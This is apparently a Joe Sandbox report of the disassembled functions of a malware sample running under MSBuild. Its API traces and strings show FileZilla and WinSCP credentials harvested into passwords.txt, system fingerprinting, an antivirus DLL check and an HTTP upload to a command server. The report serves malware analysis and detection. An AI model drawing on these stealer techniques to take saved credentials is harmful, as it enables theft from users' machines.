Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 907984538-0
Opcode ID: d4b453576ad4f3625b6b8d3a98ae388fbddfe9144bcf6f2d6953d3127222c563
Instruction ID: cecb0f06a50482290116f099c25e0230255ed02a1d9bcffe7551c72d2d14305d
Opcode Fuzzy Hash: d4b453576ad4f3625b6b8d3a98ae388fbddfe9144bcf6f2d6953d3127222c563
Instruction Fuzzy Hash: 9C117771A00214ABDB11EB65DC85BEE73A9AB48304F400097F905A3251DB78AEC48B64

Function 00410D2E Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
HeapAlloc.KERNEL32(00000000), ref: 00410D50
GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
wsprintfA.USER32 ref: 00410D7D

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: da3ab1333ae34f1d28e0fac43badc88ac46d6a3555cecf111c3774452892b3c3
Instruction ID: 61d95923a291ecda6e095beb314f014951f64f3de92a0ce4f4bd39d2e0bf5c47
Opcode Fuzzy Hash: da3ab1333ae34f1d28e0fac43badc88ac46d6a3555cecf111c3774452892b3c3
Instruction Fuzzy Hash: F2F0E071A0132467EB04DFB4EC49B9B37659B04725F100295F511D71D0EB759E844785

Function 00410C53 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
RtlAllocateHeap.NTDLL(00000000,?,?,?,004013B9), ref: 00410C66
GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction ID: a2d0142ef4c2f8337792e91bc85231d42bd55b383edadc254ac7c872ecc74bf6
Opcode Fuzzy Hash: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction Fuzzy Hash: 33D05EB6200208BBD7449BD5EC8DF8E7BBCEB85725F100265FA46D2290DAF099488B34

Function 00410FBA Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00410FD4
wsprintfA.USER32 ref: 00410FEC

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 998f64295720f10c821e057b3243b12a1334f63cbf789cdccd19e786a3f5f674
Instruction ID: 6ece5ee49d11cdb060b7bdfc3a79890b10628a8e35908506f9dd9848dd200c5c
Opcode Fuzzy Hash: 998f64295720f10c821e057b3243b12a1334f63cbf789cdccd19e786a3f5f674
Instruction Fuzzy Hash: 63E092B1D1020DABCF04DF60EC459DE77FCEB08308F0054B5A505E3180D674AB888F44

Function 004014AD Relevance: 1.3, APIs: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,?,?,?,00401503,avghookx.dll,00418654), ref: 004014DF

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: b529297655fd12c0b63a16027a5c7bdef515ed443d31e096b8a78f326fd23762
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: C1F08C32A00150EBCF20CF59D804AAAFBB8EB43760F257065E809B3260C334ED11EA9C

Function 00405482 Relevance: 72.3, APIs: 25, Strings: 16, Instructions: 573
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

lstrlenA.KERNEL32(?), ref: 00405519

Part of subcall function 00411E5D: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,004128A1,?,?,00000000), ref: 00411E7D
Part of subcall function 00411E5D: GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128A1,?,?,00000000), ref: 00411E8A
Part of subcall function 00411E5D: HeapAlloc.KERNEL32(00000000,?,?,?,004128A1,?,?,00000000), ref: 00411E91

StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004056C0
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00405704
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405736

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

lstrlenA.KERNEL32(?,",file_data,00437850,------,00437844,?,",00437838,------,0043782C,e694b6d50199ea44207a97e25dda5506,",build_id,00437814,------), ref: 00405C67
lstrlenA.KERNEL32(?), ref: 00405C7A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00405C92
HeapAlloc.KERNEL32(00000000), ref: 00405C99
lstrlenA.KERNEL32(?), ref: 00405CA6
_memmove.LIBCMT ref: 00405CB4
lstrlenA.KERNEL32(?,?,?), ref: 00405CC9
_memmove.LIBCMT ref: 00405CD6
lstrlenA.KERNEL32(?), ref: 00405CE4
lstrlenA.KERNEL32(?,?,00000000), ref: 00405CF2
_memmove.LIBCMT ref: 00405D05
lstrlenA.KERNEL32(?,?,00000000), ref: 00405D1A
HttpSendRequestA.WININET(?,?,00000000), ref: 00405D2D
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405D6F
InternetReadFile.WININET(?,?,000007CF,?), ref: 00405E26
StrCmpCA.SHLWAPI(?,block), ref: 00405E3B
ExitProcess.KERNEL32 ref: 00405E46

Strings

------, xrefs: 0040573C
--, xrefs: 00405600
", xrefs: 0040597B
------, xrefs: 00405B5D
ERROR, xrefs: 00405F2F
build_id, xrefs: 0040594F
------, xrefs: 004059FF
", xrefs: 0040581B
e694b6d50199ea44207a97e25dda5506, xrefs: 004059A7
block, xrefs: 00405E30
------, xrefs: 00405605
------, xrefs: 0040589D
", xrefs: 00405AD8
ERROR, xrefs: 00405D79
file_data, xrefs: 00405C09
", xrefs: 00405C35

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internetlstrcpy$Heap$HttpProcess_memmove$AllocOpenRequestlstrcat$BinaryConnectCrackCryptExitFileInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$ERROR$ERROR$block$build_id$e694b6d50199ea44207a97e25dda5506$file_data
API String ID: 2638065154-2321490567
Opcode ID: 177d59b578fcbf7e257bc24f654d4a050c0cfce4b238dadea4729ba93ceee506
Instruction ID: 4baf88cb2a5c47609fe6293a48fe3edcdf17a13d7b96339157f3ca2814525fa3
Opcode Fuzzy Hash: 177d59b578fcbf7e257bc24f654d4a050c0cfce4b238dadea4729ba93ceee506
Instruction Fuzzy Hash: 8F42E671D401699BDF21FB21DC45ADDB3B9BF04308F0085E6A548B3152DAB86FCA9F98

Function 0040E6CF Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

strtok_s.MSVCRT ref: 0040E77E
GetProcessHeap.KERNEL32(00000000,000F423F,00436912,0043690F,0043690E,0043690D), ref: 0040E7C4
HeapAlloc.KERNEL32(00000000), ref: 0040E7CB
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040E7DF
lstrlenA.KERNEL32(00000000), ref: 0040E7EA
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040E81E
lstrlenA.KERNEL32(00000000), ref: 0040E829
StrStrA.SHLWAPI(00000000,<User>), ref: 0040E857
lstrlenA.KERNEL32(00000000), ref: 0040E862
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040E890
lstrlenA.KERNEL32(00000000), ref: 0040E89B
lstrlenA.KERNEL32(?), ref: 0040E901
lstrlenA.KERNEL32(?), ref: 0040E915
lstrlenA.KERNEL32(0040ECBC), ref: 0040EA3D

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040E71F
<Port>, xrefs: 0040E818
Host: , xrefs: 0040E954
Login: , xrefs: 0040E98C
<Host>, xrefs: 0040E7D9
Soft: FileZilla, xrefs: 0040E948
<User>, xrefs: 0040E851
Password: , xrefs: 0040E9AE
passwords.txt, xrefs: 0040EA4D
<Pass encoding="base64">, xrefs: 0040E88A

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 4146028692-935134978
Opcode ID: e0bfb3f48dca521f37437996d0ae56c2bb4ebc0dec61cbdd123b49526ae2f6c4
Instruction ID: 14048a2b419fde31a88832429adc402d622cfb8f20e2d9bcd7eb6ceae992149e
Opcode Fuzzy Hash: e0bfb3f48dca521f37437996d0ae56c2bb4ebc0dec61cbdd123b49526ae2f6c4
Instruction Fuzzy Hash: E5A18572A40219BBCF01FBA1DD4AADD7775AF08305F105426F501F30A1EBB9AE498F99

Function 00406BB5 Relevance: 63.6, APIs: 20, Strings: 16, Instructions: 598
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406C54
StrCmpCA.SHLWAPI(?), ref: 00406C72
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406E0A
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00406E4E
lstrlenA.KERNEL32(?,",status,00437998,------,0043798C,",task_id,00437978,------,0043796C,",mode,00437958,------,0043794C), ref: 0040753C
lstrlenA.KERNEL32(?), ref: 0040754B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407556
HeapAlloc.KERNEL32(00000000), ref: 0040755D
lstrlenA.KERNEL32(?), ref: 0040756A
_memmove.LIBCMT ref: 00407578
lstrlenA.KERNEL32(?), ref: 00407586
lstrlenA.KERNEL32(?,?,00000000), ref: 00407594
_memmove.LIBCMT ref: 004075A1
lstrlenA.KERNEL32(?,?,00000000), ref: 004075B6
HttpSendRequestA.WININET(00000000,?,00000000), ref: 004075C4
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00407621
InternetCloseHandle.WININET(00000000), ref: 0040762C
InternetCloseHandle.WININET(?), ref: 00407638
InternetCloseHandle.WININET(?), ref: 00407644
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406E7C

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

status, xrefs: 004074B1
task_id, xrefs: 00407351
------, xrefs: 00406FE3
", xrefs: 0040737D
mode, xrefs: 004071F1
", xrefs: 004074DD
------, xrefs: 00407145
e694b6d50199ea44207a97e25dda5506, xrefs: 004070ED
", xrefs: 00406F61
", xrefs: 004070C1
------, xrefs: 00406CFC
", xrefs: 0040721D
------, xrefs: 00406E82
------, xrefs: 0040729F
build_id, xrefs: 00407095
------, xrefs: 004073FF

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$"$"$------$------$------$------$------$------$build_id$e694b6d50199ea44207a97e25dda5506$mode$status$task_id
API String ID: 3702379033-1339341242
Opcode ID: c793aeecd545ee641a2a8adfff4ed13e874b461d4c663d960c75efdd339cb0f9
Instruction ID: 42b782e3d86a9350796fa24ab104a47fbd96201bae2466775e008d32658e9246
Opcode Fuzzy Hash: c793aeecd545ee641a2a8adfff4ed13e874b461d4c663d960c75efdd339cb0f9
Instruction Fuzzy Hash: 5052897194016D9ACF61EB62CD46BCCB3B5AF04308F4184E7A51D73161DA746FCA8FA8

Function 0040E186 Relevance: 56.3, APIs: 18, Strings: 14, Instructions: 325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040E1B7
_memset.LIBCMT ref: 0040E1D7
_memset.LIBCMT ref: 0040E1E8
_memset.LIBCMT ref: 0040E1F9
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E22D
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E25E
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E276
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E29D
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E2BD
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E2E0
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,Host: ,Soft: WinSCP,004368E7), ref: 0040E379
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?), ref: 0040E3D9

Strings

passwords.txt, xrefs: 0040E662
UseMasterPassword, xrefs: 0040E24E
Soft: WinSCP, xrefs: 0040E2FE
Login: , xrefs: 0040E459
Password, xrefs: 0040E515
Host: , xrefs: 0040E32A
Security, xrefs: 0040E253
PortNumber, xrefs: 0040E3BD
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E2B3
Password: , xrefs: 0040E529
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E20B
:22, xrefs: 0040E42D
UserName, xrefs: 0040E496
HostName, xrefs: 0040E367

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
